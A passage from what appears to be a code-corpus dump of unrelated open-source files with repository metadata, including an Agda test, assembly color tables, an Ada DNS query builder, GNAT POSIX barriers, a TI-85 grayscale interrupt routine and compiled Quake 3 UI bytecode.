e3 e3 e3 e3 e3 e3 e3 e3 00 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 e3 47 e3 e3 e3 e3 e3 e3 e3 00 00 e3 e3 e3 e3 e3 */
test/succeed/Issue550.agda
asr/agda-kanso
1
5788
<filename>test/succeed/Issue550.agda module Issue550 where data Box (A : Set) : Set where [_] : A → Box A postulate A : Set B : Set b : B f : B -> A ⋯ : {{a : A}} → A ⋯ {{a = a}} = a test : Box A test = let a : A a = f b in [ ⋯ ] -- should succeed. Old message: -- No variable of type A was found in scope. -- when checking that the expression ⋯ has type A
data/maps/environment_colors.asm
Dev727/ancientplatinum
28
8978
<reponame>Dev727/ancientplatinum EnvironmentColorsPointers: ; entries correspond to environment constants (see constants/map_data_constants.asm) dw .OutdoorColors ; unused dw .OutdoorColors ; TOWN dw .OutdoorColors ; ROUTE dw .IndoorColors ; INDOOR dw .DungeonColors ; CAVE dw .Env5Colors ; ENVIRONMENT_5 dw .IndoorColors ; GATE dw .DungeonColors ; DUNGEON ; Valid indices: $00 - $29 (see gfx/tilesets/bg_tiles.pal) .OutdoorColors: db $00, $01, $02, $28, $04, $05, $06, $07 ; morn db $08, $09, $0a, $28, $0c, $0d, $0e, $0f ; day db $10, $11, $12, $29, $14, $15, $16, $17 ; nite db $18, $19, $1a, $1b, $1c, $1d, $1e, $1f ; dark .IndoorColors: db $20, $21, $22, $23, $24, $25, $26, $07 ; morn db $20, $21, $22, $23, $24, $25, $26, $07 ; day db $10, $11, $12, $13, $14, $15, $16, $07 ; nite db $18, $19, $1a, $1b, $1c, $1d, $1e, $07 ; dark .DungeonColors: db $00, $01, $02, $03, $04, $05, $06, $07 ; morn db $08, $09, $0a, $0b, $0c, $0d, $0e, $0f ; day db $10, $11, $12, $13, $14, $15, $16, $17 ; nite db $18, $19, $1a, $1b, $1c, $1d, $1e, $1f ; dark .Env5Colors: db $00, $01, $02, $03, $04, $05, $06, $07 ; morn db $08, $09, $0a, $0b, $0c, $0d, $0e, $0f ; day db $10, $11, $12, $13, $14, $15, $16, $17 ; nite db $18, $19, $1a, $1b, $1c, $1d, $1e, $1f ; dark
src/dnscatcher/dns/client/dnscatcher-dns-client.adb
DNSCatcher/DNSCatcher
4
11821
<filename>src/dnscatcher/dns/client/dnscatcher-dns-client.adb -- Copyright 2019 <NAME> <<EMAIL>> -- -- Permission is hereby granted, free of charge, to any person obtaining a copy -- of this software and associated documentation files (the "Software"), to -- deal in the Software without restriction, including without limitation the -- rights to use, copy, modify, merge, publish, distribute, sublicense, and/or -- sell copies of the Software, and to permit persons to whom the Software is -- furnished to do so, subject to the following conditions: -- -- The above copyright notice and this permission notice shall be included in -- all copies or substantial portions of the Software. -- -- THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -- IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -- FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL -- THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -- LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING -- FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER -- DEALINGS IN THE SOFTWARE. with Ada.Unchecked_Conversion; with Ada.Streams; use Ada.Streams; with Ada.Numerics.Discrete_Random; with DNSCatcher.Utils; use DNSCatcher.Utils; with Interfaces.C.Extensions; use Interfaces.C.Extensions; package body DNSCatcher.DNS.Client is -- Subtypes for handing transaction generation subtype DNS_Transaction_ID is Unsigned_16; package Random_Transaction_ID is new Ada.Numerics.Discrete_Random (DNS_Transaction_ID); -- Creates DNS Packet Header procedure Create_Header (This : in out Client) is Generator : Random_Transaction_ID.Generator; begin -- Generate a random number and assign it Random_Transaction_ID.Reset (Generator); This.Header.Identifier := Random_Transaction_ID.Random (Generator); -- We're a client, set the flags This.Header.Query_Response_Flag := False; This.Header.Opcode := 0; -- Client response This.Header.Authoritative_Answer := False; This.Header.Truncated := False; This.Header.Recursion_Desired := True; This.Header.Recursion_Available := False; -- Should be false for client requests This.Header.Zero := False; This.Header.Authenticated_Data := True; This.Header.Checking_Disabled := False; -- Recursive server should check DNSSEC for us This.Header.Response_Code := 0; -- Zero the question counts This.Header.Question_Count := 0; This.Header.Answer_Record_Count := 0; This.Header.Authority_Record_Count := 0; This.Header.Additional_Record_Count := 0; end Create_Header; -- Adds a query to the DNS Packet procedure Add_Query (This : in out Client; QName : Unbounded_String; QType : RR_Types; QClass : Classes) is Question : Parsed_DNS_Question; begin Question.QName := QName; Question.QType := QType; Question.QClass := QClass; This.Questions.Append (Question); This.Header.Question_Count := This.Header.Question_Count + 1; end Add_Query; -- Convert a DNS Name Record (this probably belongs somewhere else) function Create_DNS_Packet_Name_Record (Question : Parsed_DNS_Question) return Unbounded_String is subtype QAttributes is String (1 .. 2); DNS_Name_Record : Unbounded_String; String_Offset : Positive := 1; Last_Section_Offset : Integer := 1; QType_Str : QAttributes; QClass_Str : QAttributes; function Uint8_To_Character is new Ada.Unchecked_Conversion (Source => Unsigned_8, Target => Character); function Uint16_To_String is new Ada.Unchecked_Conversion (Source => Unsigned_16, Target => QAttributes); -- Actually does the dirty work of creating a question function Create_QName_Record (Domain_Section : String) return String is Label : String (1 .. Domain_Section'Length + 1); begin if Domain_Section /= "." then Label (1) := Uint8_To_Character (Unsigned_8 (Domain_Section'Length)); Label (2 .. Domain_Section'Length + 1) := Domain_Section; else -- If this is a "." by itself, it's the terminator, and we need to -- do special handling declare Empty_Label : String (1 .. 1); begin Empty_Label (1) := Uint8_To_Character (Unsigned_8 (0)); return Empty_Label; end; end if; return Label; end Create_QName_Record; begin -- Find each section of the DNS name and convert it to an encoded name loop -- If it's a period, process the section if Element (Question.QName, String_Offset) = '.' then DNS_Name_Record := DNS_Name_Record & To_Unbounded_String (Create_QName_Record (Slice (Question.QName, Last_Section_Offset, String_Offset - 1))); Last_Section_Offset := String_Offset + 1; end if; String_Offset := String_Offset + 1; -- If we've reached the end of the string, it forms the final section if String_Offset = Length (Question.QName) + 1 then DNS_Name_Record := DNS_Name_Record & To_Unbounded_String (Create_QName_Record (Slice (Question.QName, Last_Section_Offset, String_Offset - 1))); exit; -- We're done end if; end loop; -- Append the final section with is zero DNS_Name_Record := DNS_Name_Record & To_Unbounded_String (Create_QName_Record (".")); -- Append the QTYPE and QCLASS QType_Str (1 .. 2) := Uint16_To_String (Htons (Unsigned_16 (Question.QType'Enum_Rep))); QClass_Str (1 .. 2) := Uint16_To_String (Htons (Unsigned_16 (Question.QClass'Enum_Rep))); DNS_Name_Record := DNS_Name_Record & To_Unbounded_String (QType_Str) & To_Unbounded_String (QClass_Str); return DNS_Name_Record; end Create_DNS_Packet_Name_Record; function Create_Packet (This : in out Client; Config : Configuration) return Raw_Packet_Record_Ptr is DNS_Packet_Names : Unbounded_String; Outbound_Packet : constant Raw_Packet_Record_Ptr := new Raw_Packet_Record; begin for I of This.Questions loop DNS_Packet_Names := DNS_Packet_Names & Create_DNS_Packet_Name_Record (I); end loop; -- Convert it to a Raw Packet format Outbound_Packet.Raw_Data.Header := This.Header; declare QData : constant String := To_String (DNS_Packet_Names); subtype QData_SEA is Stream_Element_Array (1 .. QData'Length); function String_To_Packet is new Ada.Unchecked_Conversion (Source => String, Target => QData_SEA); begin Outbound_Packet.Raw_Data.Data := new Stream_Element_Array (1 .. QData'Length); Outbound_Packet.Raw_Data.Data.all := String_To_Packet (QData); Outbound_Packet.Raw_Data_Length := DNS_PACKET_HEADER_SIZE + QData'Length; end; -- Set our sender information Outbound_Packet.From_Address := To_Unbounded_String ("127.0.0.1"); Outbound_Packet.From_Port := 53; Outbound_Packet.To_Address := Config.Upstream_DNS_Server; Outbound_Packet.To_Port := Config.Upstream_DNS_Server_Port; return Outbound_Packet; end Create_Packet; end DNSCatcher.DNS.Client;
ADL/Assemble/Delete/1/R~HR_delete_rear.asm
MaxMorning/LinkedListVisualization
3
11592
aLine 0 gBne Root, null, 3 aLine 1 Exception EMPTY_LIST aLine 3 gBne Root, Rear, 10 aLine 4 nDelete Root aLine 5 gMove Root, null aLine 6 gMove Rear, null aLine 7 aStd Halt aLine 9 gNew prevPtr gMove prevPtr, Root gNewVPtr nextPtr gMoveNext nextPtr, Root aLine 10 gBeq nextPtr, Rear, 5 aLine 11 gMove prevPtr, nextPtr gMoveNext nextPtr, nextPtr Jmp -5 aLine 13 gNew delPtr gMove delPtr, Rear aLine 14 gMove Rear, prevPtr aLine 15 nMoveRelOut delPtr, delPtr, 100 pDeleteNext delPtr pSetNext prevPtr, Root aLine 16 nDelete delPtr aLine 17 gDelete delPtr gDelete prevPtr gDelete nextPtr aStd Halt
gcc-gcc-7_3_0-release/gcc/ada/a-synbar-posix.adb
best08618/asylo
7
15592
<filename>gcc-gcc-7_3_0-release/gcc/ada/a-synbar-posix.adb<gh_stars>1-10 ------------------------------------------------------------------------------ -- -- -- GNAT RUN-TIME COMPONENTS -- -- -- -- A D A . S Y N C H R O N O U S _ B A R R I E R S -- -- -- -- B o d y -- -- -- -- Copyright (C) 1992-2014, Free Software Foundation, Inc. -- -- -- -- This specification is derived from the Ada Reference Manual for use with -- -- GNAT. The copyright notice above, and the license provisions that follow -- -- apply solely to the contents of the part following the private keyword. -- -- -- -- GNAT is free software; you can redistribute it and/or modify it under -- -- terms of the GNU General Public License as published by the Free Soft- -- -- ware Foundation; either version 3, or (at your option) any later ver- -- -- sion. GNAT is distributed in the hope that it will be useful, but WITH- -- -- OUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY -- -- or FITNESS FOR A PARTICULAR PURPOSE. -- -- -- -- As a special exception under Section 7 of GPL version 3, you are granted -- -- additional permissions described in the GCC Runtime Library Exception, -- -- version 3.1, as published by the Free Software Foundation. -- -- -- -- You should have received a copy of the GNU General Public License and -- -- a copy of the GCC Runtime Library Exception along with this program; -- -- see the files COPYING3 and COPYING.RUNTIME respectively. If not, see -- -- <http://www.gnu.org/licenses/>. -- -- -- -- GNAT was originally developed by the GNAT team at New York University. -- -- Extensive contributions were provided by Ada Core Technologies Inc. -- -- -- ------------------------------------------------------------------------------ -- This is the body of this package using POSIX barriers with Interfaces.C; use Interfaces.C; package body Ada.Synchronous_Barriers is -------------------- -- POSIX barriers -- -------------------- function pthread_barrier_init (barrier : not null access pthread_barrier_t; attr : System.Address := System.Null_Address; count : unsigned) return int; pragma Import (C, pthread_barrier_init, "pthread_barrier_init"); -- Initialize barrier with the attributes in attr. The barrier is opened -- when count waiters arrived. If attr is null the default barrier -- attributes are used. function pthread_barrier_destroy (barrier : not null access pthread_barrier_t) return int; pragma Import (C, pthread_barrier_destroy, "pthread_barrier_destroy"); -- Destroy a previously dynamically initialized barrier function pthread_barrier_wait (barrier : not null access pthread_barrier_t) return int; pragma Import (C, pthread_barrier_wait, "pthread_barrier_wait"); -- Wait on barrier -------------- -- Finalize -- -------------- overriding procedure Finalize (Barrier : in out Synchronous_Barrier) is Result : int; begin Result := pthread_barrier_destroy (Barrier.POSIX_Barrier'Access); pragma Assert (Result = 0); end Finalize; overriding procedure Initialize (Barrier : in out Synchronous_Barrier) is Result : int; begin Result := pthread_barrier_init (barrier => Barrier.POSIX_Barrier'Access, attr => System.Null_Address, count => unsigned (Barrier.Release_Threshold)); pragma Assert (Result = 0); end Initialize; ---------------------- -- Wait_For_Release -- ---------------------- procedure Wait_For_Release (The_Barrier : in out Synchronous_Barrier; Notified : out Boolean) is Result : int; PTHREAD_BARRIER_SERIAL_THREAD : constant := -1; -- Value used to indicate the task which receives the notification for -- the barrier open. begin Result := pthread_barrier_wait (barrier => The_Barrier.POSIX_Barrier'Access); pragma Assert (Result = 0 or else Result = PTHREAD_BARRIER_SERIAL_THREAD); Notified := (Result = PTHREAD_BARRIER_SERIAL_THREAD); end Wait_For_Release; end Ada.Synchronous_Barriers;
lib/gray85.asm
dex4er/deb-z88dk
1
176698
<filename>lib/gray85.asm<gh_stars>1-10 ; Graylib interrupt installer ; Ported and heavily modified by <NAME> - Mar 2000 ; Lateron more modified by <NAME> - Sep 2001 ; ; original code (graydraw.asm) by: ; ;------------------------------------------------------------ ; Date: Sun, 5 May 1996 12:44:17 -0400 (EDT) ; From: <NAME> [<EMAIL>] ; Subject: LZ: Graydraw source! ;------------------------------------------------------------ ; ; $Id: gray85.asm,v 1.4 2002/04/10 20:31:10 dom Exp $ ; XDEF graybit1 XDEF graybit2 defc intcount = $8980 ld hl,($8be5) ; Get end of VAT dec hl ; Make sure we're clear it.. dec hl ; ld a,h ; Now we need to get the position of sub 4 ; the nearest screen boundary ld h,a ; ld l,0 ; push hl ; ld de,($8be1) ; Tests if there is a space for the 1K or a ; needed for the 2nd screen sbc hl,de ; pop hl ; jr c,cleanup ; If not, stop the program... and @11000000 ; Test if our block of memory is cp @11000000 ; within the range addressable jr nz,cleanup ; by the LCD hardware ld (graybit2),hl ; Save the address of our 2nd Screen ld a,h ; If in range, set up the signal to and @00111111 ; send thrue port 0 to switch to our ld (page2),a ; 2nd screen ;---- ;dec h ; Set the IV for IM2 mode ;ld a,h ; ;ld i,a ; ;ld (hl),IntProcStart&$FF ; Set the IV table ;inc hl ; ;ld (hl),IntProcStart/256 ; ;ld d,h ; ;ld e,l ; ;dec hl ; ;inc de ; ;ld bc,$0100 ; ;ldir ; ;---- im 1 ; ld a,$87 ; locate vector table at $8700-$8800 ld i,a ; ld bc,$0100 ; vector table is 256 bytes ld h,a ; ld l,c ; HL = $8700 ld d,a ; ld e,b ; DE = $8801 inc a ; A = $88 ld (hl),a ; interrupt "program" located at 8888h ldir ; ; ld l,a ; HL = $8787 ld (hl),$C3 ; Put a JP IntProcStart at $8787 ld de,IntProcStart ; (Done this way for relocatable code...) inc hl ; ld (hl),e ; inc hl ; ld (hl),d ; ;---- xor a ; Init counter ld (intcount),a ; im 2 ; Enable int jp jump_over ; Jump over the interrupt code ;.IntProcStart ; push af ; ; ld a,(intcount) ; Check if own interrupt has quited ; bit 7,a ; correctly, then bit 7 is zero ; jr nz,int_fix ; If not zero, fix stack... ; push hl ; ; push de ; ; push bc ; ; push iy ; ; ld iy,_IY_TABLE ; ; ; ;.cont_interrupt ; ; in a,(3) ; ; bit 1,a ; check that it is a vbl interrupt ; jr z,EndInt ; ; ; ; ld a,(intcount) ; ; res 7,(hl) ; ; cp 2 ; ; jr z,Disp_2 ; ; ; ;.Disp_1 ; ; inc a ; ; ld (intcount),a ; ; ld a,(page2) ; ; out (0),a ; ; jr EndInt ; ;.Disp_2 ; ; ld a,$3c ; ; out (0),a ; ; sub a ; ; ld (intcount),a ; ;.EndInt ; ; ld hl,intcount ; If a 'direct interrupt' occures ; set 7,(hl) ; right after the TIOS-int, then ; ; we want bit 7 to be set... ; exx ; Swap to shadow registers. ; ex af,af ; So the TIOS swaps back to the ; ; normal ones... (the ones we saved ; ; with push/pops) ; rst $38 ; ; di ; 'BIG' HOLE HERE... (TIOS does ei...) ; ex af,af ; ; exx ; ; ; ; ld hl,intcount ; Interrupt returned correctly, so ; res 7,(hl) ; we reset our error-condition... ; pop iy ; ; pop bc ; ; pop de ; ; pop hl ; ; pop af ; ; ei ; ; ret ; Return to program ; ; ;.int_fix ; ; pop af ; Pop AF back ; ex af,af ; Fix shadowregs back ; exx ; ; pop bc ; Pop the returnpoint of RST $38 ; ; from the stack ; jr cont_interrupt ; Continue with interrupt ;.IntProcEnd .IntProcStart push af ; in a,(3) ; bit 1,a ; check that it is a vbl interrupt jr z,EndInt ; ; ld a,(intcount) ; cp 2 ; jr z,Disp_2 ; ; .Disp_1 ; inc a ; ld (intcount),a ; ld a,(page2) ; out (0),a ; jr EndInt ; .Disp_2 ld a,$3c ; out (0),a ; sub a ; ld (intcount),a ; .EndInt ; pop af ; ei ; ret ; Skip standard interrupt .IntProcEnd .graybit1 defw VIDEO_MEM .graybit2 defw 0 .page2 defb 0 .jump_over ; ld hl,(graybit2) ; Whipe the 2nd screen clean ; ld d,h ; ld e,l ; inc de ; ld (hl),0 ; ld bc,1023 ; ldir
ioq3/build/release-js-js/baseq3/ui/ui_startserver.asm
RawTechnique/quake-port
1
164135
data align 4 LABELV gametype_items address $69 address $70 address $71 address $72 byte 4 0 align 4 LABELV gametype_remap byte 4 0 byte 4 3 byte 4 1 byte 4 4 align 4 LABELV gametype_remap2 byte 4 0 byte 4 2 byte 4 0 byte 4 1 byte 4 3 code proc GametypeBits 36 8 ADDRLP4 4 CNSTI4 0 ASGNI4 ADDRLP4 8 ADDRFP4 0 INDIRP4 ASGNP4 ADDRGP4 $75 JUMPV LABELV $74 ADDRLP4 8 ARGP4 CNSTI4 0 ARGI4 ADDRLP4 12 ADDRGP4 COM_ParseExt CALLP4 ASGNP4 ADDRLP4 0 ADDRLP4 12 INDIRP4 ASGNP4 ADDRLP4 0 INDIRP4 INDIRI1 CVII4 1 CNSTI4 0 NEI4 $77 ADDRGP4 $76 JUMPV LABELV $77 ADDRLP4 0 INDIRP4 ARGP4 ADDRGP4 $81 ARGP4 ADDRLP4 16 ADDRGP4 Q_stricmp CALLI4 ASGNI4 ADDRLP4 16 INDIRI4 CNSTI4 0 NEI4 $79 ADDRLP4 4 ADDRLP4 4 INDIRI4 CNSTI4 1 BORI4 ASGNI4 ADDRGP4 $75 JUMPV LABELV $79 ADDRLP4 0 INDIRP4 ARGP4 ADDRGP4 $84 ARGP4 ADDRLP4 20 ADDRGP4 Q_stricmp CALLI4 ASGNI4 ADDRLP4 20 INDIRI4 CNSTI4 0 NEI4 $82 ADDRLP4 4 ADDRLP4 4 INDIRI4 CNSTI4 2 BORI4 ASGNI4 ADDRGP4 $75 JUMPV LABELV $82 ADDRLP4 0 INDIRP4 ARGP4 ADDRGP4 $87 ARGP4 ADDRLP4 24 ADDRGP4 Q_stricmp CALLI4 ASGNI4 ADDRLP4 24 INDIRI4 CNSTI4 0 NEI4 $85 ADDRLP4 4 ADDRLP4 4 INDIRI4 CNSTI4 4 BORI4 ASGNI4 ADDRGP4 $75 JUMPV LABELV $85 ADDRLP4 0 INDIRP4 ARGP4 ADDRGP4 $90 ARGP4 ADDRLP4 28 ADDRGP4 Q_stricmp CALLI4 ASGNI4 ADDRLP4 28 INDIRI4 CNSTI4 0 NEI4 $88 ADDRLP4 4 ADDRLP4 4 INDIRI4 CNSTI4 8 BORI4 ASGNI4 ADDRGP4 $75 JUMPV LABELV $88 ADDRLP4 0 INDIRP4 ARGP4 ADDRGP4 $93 ARGP4 ADDRLP4 32 ADDRGP4 Q_stricmp CALLI4 ASGNI4 ADDRLP4 32 INDIRI4 CNSTI4 0 NEI4 $91 ADDRLP4 4 ADDRLP4 4 INDIRI4 CNSTI4 16 BORI4 ASGNI4 LABELV $91 LABELV $75 ADDRGP4 $74 JUMPV LABELV $76 ADDRLP4 4 INDIRI4 RETI4 LABELV $73 endproc GametypeBits 36 8 bss align 1 LABELV $95 skip 256 code proc StartServer_Update 52 16 ADDRLP4 20 ADDRGP4 s_startserver+1948 INDIRI4 CNSTI4 2 LSHI4 ASGNI4 ADDRLP4 0 CNSTI4 0 ASGNI4 LABELV $97 ADDRLP4 20 INDIRI4 ADDRLP4 0 INDIRI4 ADDI4 ADDRGP4 s_startserver+1944 INDIRI4 LTI4 $101 ADDRGP4 $120 JUMPV LABELV $101 ADDRLP4 20 INDIRI4 ADDRLP4 0 INDIRI4 ADDI4 CNSTI4 2 LSHI4 ADDRGP4 s_startserver+1956 ADDP4 INDIRI4 ARGI4 ADDRLP4 28 ADDRGP4 UI_GetArenaInfoByNumber CALLP4 ASGNP4 ADDRLP4 24 ADDRLP4 28 INDIRP4 ASGNP4 ADDRLP4 24 INDIRP4 ARGP4 ADDRGP4 $105 ARGP4 ADDRLP4 32 ADDRGP4 Info_ValueForKey CALLP4 ASGNP4 ADDRLP4 4 ARGP4 ADDRLP4 32 INDIRP4 ARGP4 CNSTI4 16 ARGI4 ADDRGP4 Q_strncpyz CALLV pop ADDRLP4 4 ARGP4 ADDRGP4 Q_strupr CALLP4 pop ADDRLP4 0 INDIRI4 CNSTI4 6 LSHI4 ADDRGP4 $95 ADDP4 ARGP4 CNSTI4 64 ARGI4 ADDRGP4 $106 ARGP4 ADDRLP4 4 ARGP4 ADDRGP4 Com_sprintf CALLI4 pop ADDRLP4 36 CNSTI4 88 ADDRLP4 0 INDIRI4 MULI4 ADDRGP4 s_startserver+632+44 ADDP4 ASGNP4 ADDRLP4 36 INDIRP4 ADDRLP4 36 INDIRP4 INDIRU4 CNSTU4 4294967231 BANDU4 ASGNU4 CNSTI4 88 ADDRLP4 0 INDIRI4 MULI4 ADDRGP4 s_startserver+632+4 ADDP4 ADDRLP4 0 INDIRI4 CNSTI4 6 LSHI4 ADDRGP4 $95 ADDP4 ASGNP4 CNSTI4 88 ADDRLP4 0 INDIRI4 MULI4 ADDRGP4 s_startserver+632+68 ADDP4 CNSTI4 0 ASGNI4 ADDRLP4 44 CNSTI4 88 ADDRLP4 0 INDIRI4 MULI4 ADDRGP4 s_startserver+984+44 ADDP4 ASGNP4 ADDRLP4 44 INDIRP4 ADDRLP4 44 INDIRP4 INDIRU4 CNSTU4 256 BORU4 ASGNU4 ADDRLP4 48 CNSTI4 88 ADDRLP4 0 INDIRI4 MULI4 ADDRGP4 s_startserver+984+44 ADDP4 ASGNP4 ADDRLP4 48 INDIRP4 ADDRLP4 48 INDIRP4 INDIRU4 CNSTU4 4294950911 BANDU4 ASGNU4 LABELV $98 ADDRLP4 0 ADDRLP4 0 INDIRI4 CNSTI4 1 ADDI4 ASGNI4 ADDRLP4 0 INDIRI4 CNSTI4 4 LTI4 $97 ADDRGP4 $120 JUMPV LABELV $117 ADDRLP4 28 CNSTI4 88 ADDRLP4 0 INDIRI4 MULI4 ADDRGP4 s_startserver+632+44 ADDP4 ASGNP4 ADDRLP4 28 INDIRP4 ADDRLP4 28 INDIRP4 INDIRU4 CNSTU4 4294967231 BANDU4 ASGNU4 CNSTI4 88 ADDRLP4 0 INDIRI4 MULI4 ADDRGP4 s_startserver+632+4 ADDP4 CNSTP4 0 ASGNP4 CNSTI4 88 ADDRLP4 0 INDIRI4 MULI4 ADDRGP4 s_startserver+632+68 ADDP4 CNSTI4 0 ASGNI4 ADDRLP4 32 CNSTI4 88 ADDRLP4 0 INDIRI4 MULI4 ADDRGP4 s_startserver+984+44 ADDP4 ASGNP4 ADDRLP4 32 INDIRP4 ADDRLP4 32 INDIRP4 INDIRU4 CNSTU4 4294967039 BANDU4 ASGNU4 ADDRLP4 36 CNSTI4 88 ADDRLP4 0 INDIRI4 MULI4 ADDRGP4 s_startserver+984+44 ADDP4 ASGNP4 ADDRLP4 36 INDIRP4 ADDRLP4 36 INDIRP4 INDIRU4 CNSTU4 16384 BORU4 ASGNU4 LABELV $118 ADDRLP4 0 ADDRLP4 0 INDIRI4 CNSTI4 1 ADDI4 ASGNI4 LABELV $120 ADDRLP4 0 INDIRI4 CNSTI4 4 LTI4 $117 ADDRGP4 s_startserver+1944 INDIRI4 CNSTI4 0 NEI4 $131 ADDRLP4 28 ADDRGP4 s_startserver+1688+44 ASGNP4 ADDRLP4 28 INDIRP4 ADDRLP4 28 INDIRP4 INDIRU4 CNSTU4 16384 BORU4 ASGNU4 ADDRGP4 s_startserver+1776+60 INDIRP4 ARGP4 ADDRGP4 $138 ARGP4 ADDRGP4 qk_strcpy CALLP4 pop ADDRGP4 $132 JUMPV LABELV $131 ADDRLP4 28 ADDRGP4 s_startserver+1688+44 ASGNP4 ADDRLP4 28 INDIRP4 ADDRLP4 28 INDIRP4 INDIRU4 CNSTU4 4294950911 BANDU4 ASGNU4 ADDRLP4 0 ADDRGP4 s_startserver+1940 INDIRI4 ADDRLP4 20 INDIRI4 SUBI4 ASGNI4 ADDRLP4 0 INDIRI4 CNSTI4 0 LTI4 $142 ADDRLP4 0 INDIRI4 CNSTI4 4 GEI4 $142 ADDRLP4 36 CNSTI4 88 ADDRLP4 0 INDIRI4 MULI4 ADDRGP4 s_startserver+632+44 ADDP4 ASGNP4 ADDRLP4 36 INDIRP4 ADDRLP4 36 INDIRP4 INDIRU4 CNSTU4 64 BORU4 ASGNU4 ADDRLP4 40 CNSTI4 88 ADDRLP4 0 INDIRI4 MULI4 ADDRGP4 s_startserver+984+44 ADDP4 ASGNP4 ADDRLP4 40 INDIRP4 ADDRLP4 40 INDIRP4 INDIRU4 CNSTU4 4294967039 BANDU4 ASGNU4 LABELV $142 ADDRGP4 s_startserver+1940 INDIRI4 CNSTI4 2 LSHI4 ADDRGP4 s_startserver+1956 ADDP4 INDIRI4 ARGI4 ADDRLP4 36 ADDRGP4 UI_GetArenaInfoByNumber CALLP4 ASGNP4 ADDRLP4 24 ADDRLP4 36 INDIRP4 ASGNP4 ADDRLP4 24 INDIRP4 ARGP4 ADDRGP4 $105 ARGP4 ADDRLP4 40 ADDRGP4 Info_ValueForKey CALLP4 ASGNP4 ADDRGP4 s_startserver+1776+60 INDIRP4 ARGP4 ADDRLP4 40 INDIRP4 ARGP4 CNSTI4 16 ARGI4 ADDRGP4 Q_strncpyz CALLV pop LABELV $132 ADDRGP4 s_startserver+1776+60 INDIRP4 ARGP4 ADDRGP4 Q_strupr CALLP4 pop LABELV $94 endproc StartServer_Update 52 16 proc StartServer_MapEvent 0 0 ADDRFP4 4 INDIRI4 CNSTI4 3 EQI4 $155 ADDRGP4 $154 JUMPV LABELV $155 ADDRGP4 s_startserver+1940 ADDRGP4 s_startserver+1948 INDIRI4 CNSTI4 2 LSHI4 ADDRFP4 0 INDIRP4 CNSTI4 8 ADDP4 INDIRI4 CNSTI4 11 SUBI4 ADDI4 ASGNI4 ADDRGP4 StartServer_Update CALLV pop LABELV $154 endproc StartServer_MapEvent 0 0 proc StartServer_GametypeEvent 48 8 ADDRFP4 4 INDIRI4 CNSTI4 3 EQI4 $160 ADDRGP4 $159 JUMPV LABELV $160 ADDRLP4 20 ADDRGP4 UI_GetNumArenas CALLI4 ASGNI4 ADDRLP4 16 ADDRLP4 20 INDIRI4 ASGNI4 ADDRGP4 s_startserver+1944 CNSTI4 0 ASGNI4 ADDRLP4 24 CNSTI4 2 ASGNI4 ADDRLP4 28 ADDRGP4 gametype_remap ASGNP4 ADDRLP4 12 CNSTI4 1 ADDRGP4 s_startserver+536+64 INDIRI4 ADDRLP4 24 INDIRI4 LSHI4 ADDRLP4 28 INDIRP4 ADDP4 INDIRI4 LSHI4 ASGNI4 ADDRGP4 s_startserver+536+64 INDIRI4 ADDRLP4 24 INDIRI4 LSHI4 ADDRLP4 28 INDIRP4 ADDP4 INDIRI4 CNSTI4 0 NEI4 $165 ADDRLP4 12 ADDRLP4 12 INDIRI4 CNSTI4 4 BORI4 ASGNI4 LABELV $165 ADDRLP4 0 CNSTI4 0 ASGNI4 ADDRGP4 $172 JUMPV LABELV $169 ADDRLP4 0 INDIRI4 ARGI4 ADDRLP4 32 ADDRGP4 UI_GetArenaInfoByNumber CALLP4 ASGNP4 ADDRLP4 8 ADDRLP4 32 INDIRP4 ASGNP4 ADDRLP4 8 INDIRP4 ARGP4 ADDRGP4 $173 ARGP4 ADDRLP4 36 ADDRGP4 Info_ValueForKey CALLP4 ASGNP4 ADDRLP4 36 INDIRP4 ARGP4 ADDRLP4 40 ADDRGP4 GametypeBits CALLI4 ASGNI4 ADDRLP4 4 ADDRLP4 40 INDIRI4 ASGNI4 ADDRLP4 4 INDIRI4 ADDRLP4 12 INDIRI4 BANDI4 CNSTI4 0 NEI4 $174 ADDRGP4 $170 JUMPV LABELV $174 ADDRGP4 s_startserver+1944 INDIRI4 CNSTI4 2 LSHI4 ADDRGP4 s_startserver+1956 ADDP4 ADDRLP4 0 INDIRI4 ASGNI4 ADDRLP4 44 ADDRGP4 s_startserver+1944 ASGNP4 ADDRLP4 44 INDIRP4 ADDRLP4 44 INDIRP4 INDIRI4 CNSTI4 1 ADDI4 ASGNI4 LABELV $170 ADDRLP4 0 ADDRLP4 0 INDIRI4 CNSTI4 1 ADDI4 ASGNI4 LABELV $172 ADDRLP4 0 INDIRI4 ADDRLP4 16 INDIRI4 LTI4 $169 ADDRLP4 32 CNSTI4 4 ASGNI4 ADDRGP4 s_startserver+1952 ADDRGP4 s_startserver+1944 INDIRI4 ADDRLP4 32 INDIRI4 ADDI4 CNSTI4 1 SUBI4 ADDRLP4 32 INDIRI4 DIVI4 ASGNI4 ADDRGP4 s_startserver+1948 CNSTI4 0 ASGNI4 ADDRGP4 s_startserver+1940 CNSTI4 0 ASGNI4 ADDRGP4 StartServer_Update CALLV pop LABELV $159 endproc StartServer_GametypeEvent 48 8 proc StartServer_MenuEvent 12 8 ADDRFP4 4 INDIRI4 CNSTI4 3 EQI4 $184 ADDRGP4 $183 JUMPV LABELV $184 ADDRLP4 0 ADDRFP4 0 INDIRP4 CNSTI4 8 ADDP4 INDIRI4 ASGNI4 ADDRLP4 0 INDIRI4 CNSTI4 15 LTI4 $186 ADDRLP4 0 INDIRI4 CNSTI4 18 GTI4 $186 ADDRLP4 0 INDIRI4 CNSTI4 2 LSHI4 ADDRGP4 $206-60 ADDP4 INDIRP4 JUMPV lit align 4 LABELV $206 address $189 address $194 address $205 address $200 code LABELV $189 ADDRGP4 s_startserver+1948 INDIRI4 CNSTI4 0 LEI4 $187 ADDRLP4 8 ADDRGP4 s_startserver+1948 ASGNP4 ADDRLP4 8 INDIRP4 ADDRLP4 8 INDIRP4 INDIRI4 CNSTI4 1 SUBI4 ASGNI4 ADDRGP4 StartServer_Update CALLV pop ADDRGP4 $187 JUMPV LABELV $194 ADDRGP4 s_startserver+1948 